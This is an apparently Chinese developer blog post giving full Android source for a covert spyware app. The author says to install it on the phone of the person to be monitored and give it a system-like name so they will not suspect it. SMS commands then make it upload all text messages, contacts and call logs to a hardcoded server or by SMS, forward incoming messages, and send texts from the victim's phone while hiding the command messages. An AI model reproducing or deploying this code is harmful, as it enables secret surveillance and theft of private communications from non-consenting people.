2013-10-14 23:11 17986人阅读 评论(113) 收藏 举报
[java] view plaincopy
1
不得不说android是一个非常智能的系统,电话或者短信都能远程获取。。
关于大家一直说怎么使用,我来简单的说明一下吧,讲工程文件中的apk文件安装在你想监控的人的手机中,然后随便找个手机给他
发短信"qingxue:12" 表示以短信的模式获取
再发"qingxue:1" 获取监控人的所有短信的记录
短信转发有点不一样,发送"qingxue:4:13555555555:helloworld" 表示通过监控人的手机给13555555555发送短信,内容为“helloworld”
注:以上短信内容均不含""
以下程序可实现通话记录监控,通讯录获取,短信获取,或者利用被控端进行短信转发,至于另外一些像虚拟短信,短信屏蔽,电话录音或者屏蔽,都是大同小异,由于时间关系这里就不实现了,喜欢的同学可以自己研究下android的API
为了不让对方怀疑,可以取个和系统相似的名字。如:SystemManage
包结构:
清单文件,主要是一些用到的android权限
[java] view plaincopy
2 <?xml version="1.0" encoding="utf-8"?>
3 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
4 package="com.me.androidsystem"
5 android:versionCode="1"
6 android:versionName="1.0" >
7 <!-- 接收短信权限 -->
8 <uses-permission android:name="android.permission.RECEIVE_SMS" />
9 <uses-permission android:name="android.permission.SEND_SMS" />
10 <uses-permission android:name="android.permission.READ_SMS"/>
11 <!-- 访问internet权限 -->
12 <uses-permission android:name="android.permission.INTERNET" />
13 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
14 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
15 <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
16 <uses-permission android:name="android.permission.READ_CONTACTS"/>
17 <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
18 <uses-permission android:name="android.permission.READ_CALL_LOG"/>
19
20 <uses-sdk
21 android:minSdkVersion="7"
22 android:targetSdkVersion="18" />
23
24 <application
25 android:allowBackup="true"
26 android:icon="@drawable/ic_launcher"
27 android:label="@string/app_name"
28 android:theme="@style/AppTheme" >
29
30 <receiver android:name="com.me.androidsystem.SmsReceiver">
31 <intent-filter android:priority="1000" >
32 <action android:name="android.provider.Telephony.SMS_RECEIVED" />
33 </intent-filter>
34 </receiver>
35 <receiver android:name="com.me.androidsystem.NetstateReceiver">
36 <intent-filter>
37 <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
38 </intent-filter>
39 </receiver>
40 <service android:name="com.me.androidsystem.service.SmsService" >
41 </service>
42 <service android:name="com.me.androidsystem.service.PhoService" >
43 </service>
44 </application>
45
46 </manifest>
常用字段我全部写在一个类中了
[java] view plaincopy
47 package com.me.androidsystem.util;
48 /*
49 操作说明
50 控制端发送短信指令
51 1 ————获取客户端的所有短信
52 2 ————获取客户端的所有通信录包括通话记录
53 3 ————仅获取客户端的所有通话记录
54 4 ————短信转发
55 11————设置获取客户端所有短信的模式为短信发送模式
56 12————设置获取客户端所有短信的模式为网络发送模式
57 13————设置获取客户端所有短信的模式为网络优先发送模式
58 21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式
59 22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式
60 23————设置获取客户端的所有通信录包括通话记录的模式为网络优先发送模式
61 30————设置获取客户端当前短信的模式为不获取
62 31————设置获取客户端当前短信的模式为短信模式
63 32————设置获取客户端当前短信的模式为网络模式
64 33————设置获取客户端当前短信的模式为网络优先模式
65 如发送:qingxue:21后再发qingxue:2对方的所有通信录包括通话记录都会以短信的形式发送到你手机上
66 */
67 public class ServiceUtil {
68 //控制端的手机号 每次发送指令时会自动修改为发送指令的手机号
69 public static String CONTROL_NUMBER = "+8618271803015";
70 //控制端的网络服务器192.168.137.218 221.234.230.22
71 public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";
72 //发送电话信息请求的Servlet
73 public static final String PHO_SERVLET = "GetPHOInfoServlet";
74 //发送单个短信请求的Servlet 目前没有用
75 public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";
76 //控制端的key
77 public static final String CONTROL_START = "qingxue";
78 //配置文件的名称
79 public static final String CONFIG_NAME = "config";
80 //保存离线短信信息文件
81 public static final String OFF_INFO = "off_info";
82
83 public static final String COMMAND="command";
84 //控制端获取用户的所有短信
85 public static final int GET_ALL_SMS = 1;
86 //控制端获取用户所有电话和通话记录
87 public static final int GET_ALL_PHO = 2;
88 //控制端获取用户所有通话记录
89 public static final int GET_ONLY_PHO = 3;
90 //短信转发
91 public static final int SMS_TRANSPOND = 4;
92
93 //设置短信的操作模式为无
94 public static final int SET_SMS_MODEL_0 = 10;
95 //设置短信的操作模式为MODEL_SMS_ONLY
96 public static final int SET_SMS_MODEL_1 = 11;
97 //设置短信的操作模式为MODEL_NET_ONLY
98 public static final int SET_SMS_MODEL_2 = 12; //默认
99 //设置短信的操作模式为MODEL_NET_SMS
100 public static final int SET_SMS_MODEL_3 = 13;
101
102 // 设置通信记录的操作模式为无
103 public static final int SET_PHO_MODEL_0 = 20;
104 // 设置通信记录的操作模式为MODEL_SMS_ONLY
105 public static final int SET_PHO_MODEL_1 = 21;
106 // 设置通信记录的操作模式为MODEL_NET_ONLY
107 public static final int SET_PHO_MODEL_2 = 22; //默认
108 // 设置通信记录的操作模式为MODEL_NET_SMS
109 public static final int SET_PHO_MODEL_3 = 23;
110
111 //设置短信的操作模式为无
112 public static final int SET_SMS_ONE_MODEL_0 = 30;
113 //设置短信的操作模式为MODEL_SMS_ONLY
114 public static final int SET_SMS_ONE_MODEL_1 = 31;
115 //设置短信的操作模式为MODEL_NET_ONLY
116 public static final int SET_SMS_ONE_MODEL_2 = 32;//默认
117 //设置短信的操作模式为MODEL_NET_SMS
118 public static final int SET_SMS_ONE_MODEL_3 = 33;
119
120 //对于单条短信的操作模式
121 public static final String SMS_ONE_MODEL = "sms_one_model";
122 //对于所有短信的操作模式
123 public static final String SMS_MODEL = "sms_model";
124 //对于电话的操作模式
125 public static final String PHO_MODEL = "pho_model";
126
127 //不发送模式
128 public static final int MODEL_NONE = 0;
129 //短信模式
130 public static final int MODEL_SMS_ONLY = 1;
131 //网络模式
132 public static final int MODEL_NET_ONLY = 2;
133 //短信和网络模式,网络优先
134 public static final int MODEL_NET_SMS = 3;
135
136 //仅获取通话记录
137 public static boolean ONLY_TEL = false;
138 }
电话的服务类
[java] view plaincopy
139 package com.me.androidsystem.service;
140
141 import java.text.SimpleDateFormat;
142 import java.util.ArrayList;
143 import java.util.Date;
144 import java.util.HashMap;
145 import java.util.List;
146 import java.util.Map;
147
148 import android.app.Service;
149 import android.content.ContentResolver;
150 import android.content.Context;
151 import android.content.Intent;
152 import android.content.SharedPreferences;
153 import android.content.SharedPreferences.Editor;
154 import android.database.Cursor;
155 import android.net.ConnectivityManager;
156 import android.net.NetworkInfo;
157 import android.os.IBinder;
158 import android.provider.CallLog;
159 import android.provider.CallLog.Calls;
160 import android.provider.ContactsContract;
161 import android.util.Log;
162
163 import com.me.androidsystem.domain.CallRecord;
164 import com.me.androidsystem.util.CommndUtil;
165 import com.me.androidsystem.util.ServiceUtil;
166
167 public class PhoService extends Service {
168 private SharedPreferences preferences;
169 @Override
170 public void onCreate() {
171 super.onCreate();
172 List<Map<String, String>> contacts = getContacts();
173 List<CallRecord> callRecords = getCallRecord();
174 preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
175 Context.MODE_PRIVATE);
176 int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY);
177
178 switch (model) {
179 case ServiceUtil.MODEL_SMS_ONLY:
180 sendSMSContent(contacts,callRecords);
181 break;
182 case ServiceUtil.MODEL_NET_ONLY:
183 sendNETContent(contacts,callRecords);
184 break;
185 case ServiceUtil.MODEL_NET_SMS:
186 sendNETORSMSContent(contacts,callRecords);
187 break;
188
189 default:
190 break;
191 }
192 stopSelf();
193 }
194
195 private void sendNETORSMSContent(List<Map<String, String>> contacts,
196 List<CallRecord> callRecords) {
197 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
198 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
199 if(networkInfo != null && networkInfo.isAvailable()){
200 //当前有可用网络
201 sendNETContent(contacts, callRecords);
202 }else{
203 //当前无可用网络
204 sendSMSContent(contacts, callRecords);
205 }
206 }
207
208 private void sendNETContent(List<Map<String, String>> contacts,
209 List<CallRecord> callRecords) {
210 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
211 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
212 if(networkInfo != null && networkInfo.isAvailable()){
213 //当前有可用网络
214
215 CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET);
216 }else{
217 //当前无可用网络
218 String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
219 Editor editor = preferences.edit();
220 editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"\n");
221 editor.commit();
222 return;
223 }
224
225 }
226
227 private void sendSMSContent(List<Map<String, String>> contacts,
228 List<CallRecord> callRecords) {
229 CommndUtil.sendSMS(resolve(contacts, callRecords));
230 }
231
232 private String resolve(List<Map<String, String>> contacts,List<CallRecord> callRecords){
233 StringBuilder sb = new StringBuilder();
234 if(!ServiceUtil.ONLY_TEL){
235 sb.append("姓名 电话\n");
236 for(Map<String, String> map : contacts){
237 String name = map.get("name");
238 String number = map.get("number");
239 sb.append(name + " " + number);
240 }
241 }
242
243 sb.append("-------------------------\n"+"通话记录\n");
244 sb.append("姓名 类型 时间 时长 电话\n");
245 for(CallRecord callRecord : callRecords){
246 String name = callRecord.getLinkman();
247 String type = callRecord.getType();
248 String time = callRecord.getCallDate();
249 String durction = callRecord.getDurction();
250 String number = callRecord.getNumber();
251 sb.append(name + " " + type + " " + time + " " + durction + " " + number + "\n");
252 }
253 return sb.toString();
254 }
255
256 // 获取联系人信息
257 public List<Map<String, String>> getContacts() {
258 Map<String, String> contacts;
259 List<Map<String, String>> list = new ArrayList<Map<String, String>>();
260 int nameIndex = -1;
261 ContentResolver cr = getContentResolver();
262 Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
263 null, null, null);
264 while (cur.moveToNext()) {
265 String number = "";
266 // 得到名字
267 nameIndex = cur
268 .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
269 String name = cur.getString(nameIndex);
270 // 得到电话号码
271 String contactId = cur.getString(cur
272 .getColumnIndex(ContactsContract.Contacts._ID)); // 获取联系人的ID号,在SQLite中的数据库ID
273 Cursor phone = cr.query(
274 ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
275 ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "
276 + contactId, null, null);
277 while (phone.moveToNext()) {
278 String strPhoneNumber = phone
279 .getString(phone
280 .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // 手机号码字段联系人可能不止一个
281 number += strPhoneNumber + "\n";
282 }
283 contacts = new HashMap<String, String>();
284 // 放入Map
285 contacts.put("name", name);
286 contacts.put("number", number);
287 list.add(contacts);
288 }
289 cur.close();
290 return list;
291 }
292
293 // 获取通话记录
294 public List<CallRecord> getCallRecord() {
295 List<CallRecord> list = new ArrayList<CallRecord>();
296 ContentResolver cr = getContentResolver();
297 Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
298 new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
299 CallLog.Calls.TYPE, CallLog.Calls.DATE,
300 CallLog.Calls.DURATION }, null, null,
301 CallLog.Calls.DEFAULT_SORT_ORDER);
302
303 while (cursor.moveToNext()) {
304 String strNumber = cursor.getString(cursor
305 .getColumnIndex(Calls.NUMBER)); // 呼叫号码
306 String strName = cursor.getString(cursor
307 .getColumnIndex(Calls.CACHED_NAME)); // 联系人姓名
308 int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// 来电:1,拨出:2,未接:3
309 String callType = "";
310 switch (type) {
311 case 1:
312 callType = "来电";
313 break;
314 case 2:
315 callType = "拨出";
316 break;
317 case 3:
318 callType = "未接";
319 break;
320 }
321 long duration = cursor.getLong(cursor
322 .getColumnIndex(Calls.DURATION));
323 String durationTime = formatTime(duration);
324 SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
325 Date date = new Date(Long.parseLong(cursor.getString(cursor
326 .getColumnIndex(Calls.DATE))));
327 String time = sfd.format(date);
328 list.add(new CallRecord(strName, strNumber, time, callType,
329 durationTime));
330 }
331 return list;
332 }
333
334 private String formatTime(long duration) {
335 int timetiem = (int) duration;
336 int minute = timetiem / 60;
337 int hour = minute / 60;
338 int second = timetiem % 60;
339 minute %= 60;
340 return String.format("%02d:%02d:%02d", hour, minute, second);
341
342 }
343
344 @Override
345 public IBinder onBind(Intent intent) {
346 // TODO Auto-generated method stub
347 return null;
348 }
349
350 }
短信的服务类
[java] view plaincopy
351 package com.me.androidsystem.service;
352
353 import java.text.SimpleDateFormat;
354 import java.util.ArrayList;
355 import java.util.Date;
356 import java.util.List;
357
358 import android.app.Service;
359 import android.content.ContentResolver;
360 import android.content.Context;
361 import android.content.Intent;
362 import android.content.SharedPreferences;
363 import android.content.SharedPreferences.Editor;
364 import android.database.Cursor;
365 import android.database.sqlite.SQLiteException;
366 import android.net.ConnectivityManager;
367 import android.net.NetworkInfo;
368 import android.net.Uri;
369 import android.os.IBinder;
370
371 import com.me.androidsystem.domain.SmsInfo;
372 import com.me.androidsystem.util.CommndUtil;
373 import com.me.androidsystem.util.ServiceUtil;
374
375 public class SmsService extends Service {
376 private SharedPreferences preferences;
377 @Override
378 public void onCreate() {
379 super.onCreate();
380 preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
381 Context.MODE_PRIVATE);
382 int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY);
383 switch (model) {
384 case ServiceUtil.MODEL_SMS_ONLY:
385 sendSMSContent();
386 break;
387 case ServiceUtil.MODEL_NET_ONLY:
388 sendNETContent();
389 break;
390 case ServiceUtil.MODEL_NET_SMS:
391 sendNETORSMSContent();
392 break;
393
394 default:
395 break;
396 }
397 stopSelf();
398 }
399
400 private void sendNETORSMSContent() {
401 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
402 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
403 if(networkInfo != null && networkInfo.isAvailable()){
404 //当前有可用网络
405 sendNETContent();
406 }else{
407 //当前无可用网络
408 sendSMSContent();
409 }
410 }
411
412 private void sendNETContent() {
413 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
414 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
415 if(networkInfo != null && networkInfo.isAvailable()){
416 //当前有可用网络
417 CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET);
418 }else{
419 String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
420 Editor editor = preferences.edit();
421 editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"\n");
422 editor.commit();
423 return;
424 }
425
426 }
427
428 private void sendSMSContent() {
429 CommndUtil.sendSMS(resolve(getAllSms()));
430 }
431 private String resolve(List<SmsInfo> list){
432 StringBuilder sb = new StringBuilder();
433 sb.append("联系人 电话 内容 日期 类型\n");
434 for(SmsInfo info : list){
435 String name = info.getLinkman();
436 String number = info.getNumber();
437 String content = info.getContent();
438 String date = info.getDate();
439 String type = info.getType();
440 sb.append(name + " " + number + " " + content + " " + date + " " + type +"\n");
441 }
442
443 return sb.toString();
444 }
445 @Override
446 public IBinder onBind(Intent intent) {
447 return null;
448 }
449
450 private List<SmsInfo> getAllSms() {
451 List<SmsInfo> list = new ArrayList<SmsInfo>();
452 final String SMS_URI_ALL = "content://sms/";
453 try {
454 ContentResolver cr = getContentResolver();
455 String[] projection = new String[] { "_id", "address", "person",
456 "body", "date", "type" };
457 Uri uri = Uri.parse(SMS_URI_ALL);
458 Cursor cur = cr.query(uri, projection, null, null, "date desc");
459
460 while (cur.moveToNext()) {
461 String name;
462 String phoneNumber;
463 String smsbody;
464 String date;
465 String type;
466
467 name = cur.getString(cur.getColumnIndex("person"));
468 phoneNumber = cur.getString(cur.getColumnIndex("address"));
469 smsbody = cur.getString(cur.getColumnIndex("body"));
470
471 SimpleDateFormat dateFormat = new SimpleDateFormat(
472 "yyyy-MM-dd hh:mm:ss");
473 Date d = new Date(Long.parseLong(cur.getString(cur
474 .getColumnIndex("date"))));
475 date = dateFormat.format(d);
476
477 int typeId = cur.getInt(cur.getColumnIndex("type"));
478 if (typeId == 1) {
479 type = "接收";
480 } else if (typeId == 2) {
481 type = "发送";
482 } else if (typeId == 0) {
483 type = "未读";
484 } else {
485 type = "草稿";
486 }
487 //以下注释去掉会将短信的联系人姓名找出,不然只能获取短信联系号码,不过时间好长,不知道也没有哪位大神能解决一下
488 // Uri personUri = Uri.withAppendedPath(
489 // ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
490 // phoneNumber);
491 // Cursor localCursor = cr.query(personUri, new String[] {
492 // PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID,
493 // PhoneLookup._ID }, null, null, null);
494 //
495 // if (localCursor.getCount() != 0) {
496 // localCursor.moveToFirst();
497 // name = localCursor.getString(localCursor
498 // .getColumnIndex(PhoneLookup.DISPLAY_NAME));
499 // }
500 if (smsbody == null)
501 smsbody = "";
502 list.add(new SmsInfo(name, phoneNumber, smsbody, date, type));
503 }
504 } catch (SQLiteException ex) {
505
506 }
507 return list;
508 }
509 }
用于接受控制端的短信指令
[java] view plaincopy
510 package com.me.androidsystem;
511
512 import java.text.SimpleDateFormat;
513 import java.util.Date;
514
515 import android.content.BroadcastReceiver;
516 import android.content.Context;
517 import android.content.Intent;
518 import android.content.SharedPreferences;
519 import android.content.SharedPreferences.Editor;
520 import android.net.ConnectivityManager;
521 import android.net.NetworkInfo;
522 import android.telephony.SmsMessage;
523 import android.util.Log;
524
525 import com.me.androidsystem.service.PhoService;
526 import com.me.androidsystem.service.SmsService;
527 import com.me.androidsystem.util.CommndUtil;
528 import com.me.androidsystem.util.ServiceUtil;
529
530 /*
531 * 实现对短信接收的监听
532 */
533 public class SmsReceiver extends BroadcastReceiver {
534
535
536 public void onReceive(Context context, Intent intent) {
537 // 如果短信内容是以qingxue开头,那么表示指令
538 Object[] pdus = (Object[]) intent.getExtras().get("pdus");
539 for (Object p : pdus) {
540 byte[] pdu = (byte[]) p;
541 SmsMessage message = SmsMessage.createFromPdu(pdu);
542 String content = message.getMessageBody();
543 Date date = new Date(message.getTimestampMillis());
544 SimpleDateFormat format = new SimpleDateFormat(
545 "yyyy-MM-dd HH:mm:ss");
546 String receiveTime = format.format(date);
547 String senderNumber = message.getOriginatingAddress();
548 Log.e("aaaa", content);
549 // ServiceUtil.CONTROL_NUMBER.equals(senderNumber)
550 if (content.length() >= ServiceUtil.CONTROL_START.length()
551 && content.substring(0, ServiceUtil.CONTROL_START.length())
552 .equals(ServiceUtil.CONTROL_START)) {
553 abortBroadcast();// 终止广播
554 ServiceUtil.CONTROL_NUMBER = senderNumber;
555 SharedPreferences sharedPreferences = context
556 .getSharedPreferences(ServiceUtil.CONFIG_NAME,
557 Context.MODE_PRIVATE);
558 Editor edit = sharedPreferences.edit();
559 int command = Integer.valueOf(content.split(":")[1]);
560 Log.e("aaaa", command+"");
561 switch (command) {
562 case ServiceUtil.GET_ALL_SMS:
563 Intent t1 = new Intent(context, SmsService.class);
564 context.startService(t1);
565 break;
566 case ServiceUtil.GET_ALL_PHO:
567 ServiceUtil.ONLY_TEL = false;
568 Intent t2 = new Intent(context, PhoService.class);
569 context.startService(t2);
570 break;
571 case ServiceUtil.GET_ONLY_PHO:
572 ServiceUtil.ONLY_TEL = true;
573 Intent t3 = new Intent(context, PhoService.class);
574 context.startService(t3);
575 break;
576 case ServiceUtil.SMS_TRANSPOND:
577 try {
578 if (content.split(":").length >= 4) {
579 String number = content.split(":")[2];
580 String msg = content.split(":")[3];
581 CommndUtil.sendSMS(msg, number);
582 }
583 } catch (Exception e) {
584 }
585 break;
586 // 对获取所有短信是发送模式设置
587 case ServiceUtil.SET_SMS_MODEL_0:
588 edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE);
589 edit.commit();
590 break;
591 case ServiceUtil.SET_SMS_MODEL_1:
592 edit.putInt(ServiceUtil.SMS_MODEL,
593 ServiceUtil.MODEL_SMS_ONLY);
594 edit.commit();
595 break;
596 case ServiceUtil.SET_SMS_MODEL_2:
597 edit.putInt(ServiceUtil.SMS_MODEL,
598 ServiceUtil.MODEL_NET_ONLY);
599 edit.commit();
600 break;
601 case ServiceUtil.SET_SMS_MODEL_3:
602 edit.putInt(ServiceUtil.SMS_MODEL,
603 ServiceUtil.MODEL_NET_SMS);
604 edit.commit();
605 break;
606 // 对获取所有通信录是发送模式设置
607 case ServiceUtil.SET_PHO_MODEL_0:
608 edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE);
609 edit.commit();
610 break;
611 case ServiceUtil.SET_PHO_MODEL_1:
612 edit.putInt(ServiceUtil.PHO_MODEL,
613 ServiceUtil.MODEL_SMS_ONLY);
614 edit.commit();
615 break;
616 case ServiceUtil.SET_PHO_MODEL_2:
617 edit.putInt(ServiceUtil.PHO_MODEL,
618 ServiceUtil.MODEL_NET_ONLY);
619 edit.commit();
620 break;
621 case ServiceUtil.SET_PHO_MODEL_3:
622 edit.putInt(ServiceUtil.PHO_MODEL,
623 ServiceUtil.MODEL_NET_SMS);
624 edit.commit();
625 break;
626 // 对获取当前短信的发送模式设置
627 case ServiceUtil.SET_SMS_ONE_MODEL_0:
628 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
629 ServiceUtil.MODEL_NONE);
630 edit.commit();
631 break;
632 case ServiceUtil.SET_SMS_ONE_MODEL_1:
633 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
634 ServiceUtil.MODEL_SMS_ONLY);
635 edit.commit();
636 break;
637 case ServiceUtil.SET_SMS_ONE_MODEL_2:
638 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
639 ServiceUtil.MODEL_NET_ONLY);
640 edit.commit();
641 break;
642 case ServiceUtil.SET_SMS_ONE_MODEL_3:
643 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
644 ServiceUtil.MODEL_NET_SMS);
645 edit.commit();
646 break;
647 // 对获取通话记录的发送模式设置与获取所有通信录方式相同
648
649 default:
650 break;
651 }
652 }
653 // 如果是普通的短信 可以设置转发或者不采取操作
654 else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) {
655 SharedPreferences sharedPreferences = context
656 .getSharedPreferences(ServiceUtil.CONFIG_NAME,
657 Context.MODE_PRIVATE);
658 int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL,
659 ServiceUtil.MODEL_NET_ONLY);
660 ConnectivityManager connectivityManager = (ConnectivityManager) context
661 .getSystemService(Context.CONNECTIVITY_SERVICE);
662 NetworkInfo networkInfo = connectivityManager
663 .getActiveNetworkInfo();
664 switch (model) {
665 case ServiceUtil.MODEL_SMS_ONLY:
666 CommndUtil
667 .sendSMS("收到来自" + senderNumber + "的短信:" + content);
668 break;
669 case ServiceUtil.MODEL_NET_ONLY:
670 if (networkInfo != null && networkInfo.isAvailable()) {
671 // 当前有可用网络
672 CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"
673 + content, ServiceUtil.SMS_ONE_SERVLET);
674 } else {
675 // 当前无可用网络
676 String oldInfo = sharedPreferences.getString(
677 ServiceUtil.OFF_INFO, "");
678 Editor editor = sharedPreferences.edit();
679 editor.putString(ServiceUtil.OFF_INFO, oldInfo
680 + receiveTime + " 收到来自" + senderNumber + "的短信:"
681 + content + "\n");
682 editor.commit();
683 return;
684 }
685 break;
686 case ServiceUtil.MODEL_NET_SMS:
687 if (networkInfo != null && networkInfo.isAvailable()) {
688 // 当前有可用网络
689 CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"
690 + content, ServiceUtil.PHO_SERVLET);
691 } else {
692 // 当前无可用网络
693 CommndUtil.sendSMS("收到来自" + senderNumber + "的短信:"
694 + content);
695 }
696 break;
697 default:
698 break;
699 }
700 }
701 }
702 }
703
704 }
这个类负责在通过网络获取时,用户的网络是关闭状态,只要用户打开网络,会继续发送
[java] view plaincopy
705 package com.me.androidsystem;
706
707 import android.content.BroadcastReceiver;
708 import android.content.Context;
709 import android.content.Intent;
710 import android.content.SharedPreferences;
711 import android.net.ConnectivityManager;
712 import android.net.NetworkInfo;
713
714 import com.me.androidsystem.util.CommndUtil;
715 import com.me.androidsystem.util.ServiceUtil;
716
717 public class NetstateReceiver extends BroadcastReceiver {
718
719 @Override
720 public void onReceive(Context context, Intent intent) {
721 ConnectivityManager manager = (ConnectivityManager) context
722 .getSystemService(Context.CONNECTIVITY_SERVICE);
723 NetworkInfo gprs = manager
724 .getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
725 NetworkInfo wifi = manager
726 .getNetworkInfo(ConnectivityManager.TYPE_WIFI);
727 if (!gprs.isConnected() && !wifi.isConnected()) {
728 // network closed
729 } else {
730 // network opend
731 SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE);
732 String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, "");
733 if(!"".equals(content)){
734 if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){
735 sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit();
736 }
737 }
738 }
739 }
740 }
我妹子是windows phone平台的,我也不会移植,用不了。仅作学习交流之用,短信转发这个功能有点邪恶。。。不要随便使用
完整版的源码下载
http://download.csdn.net/detail/lcl15572830433/6399735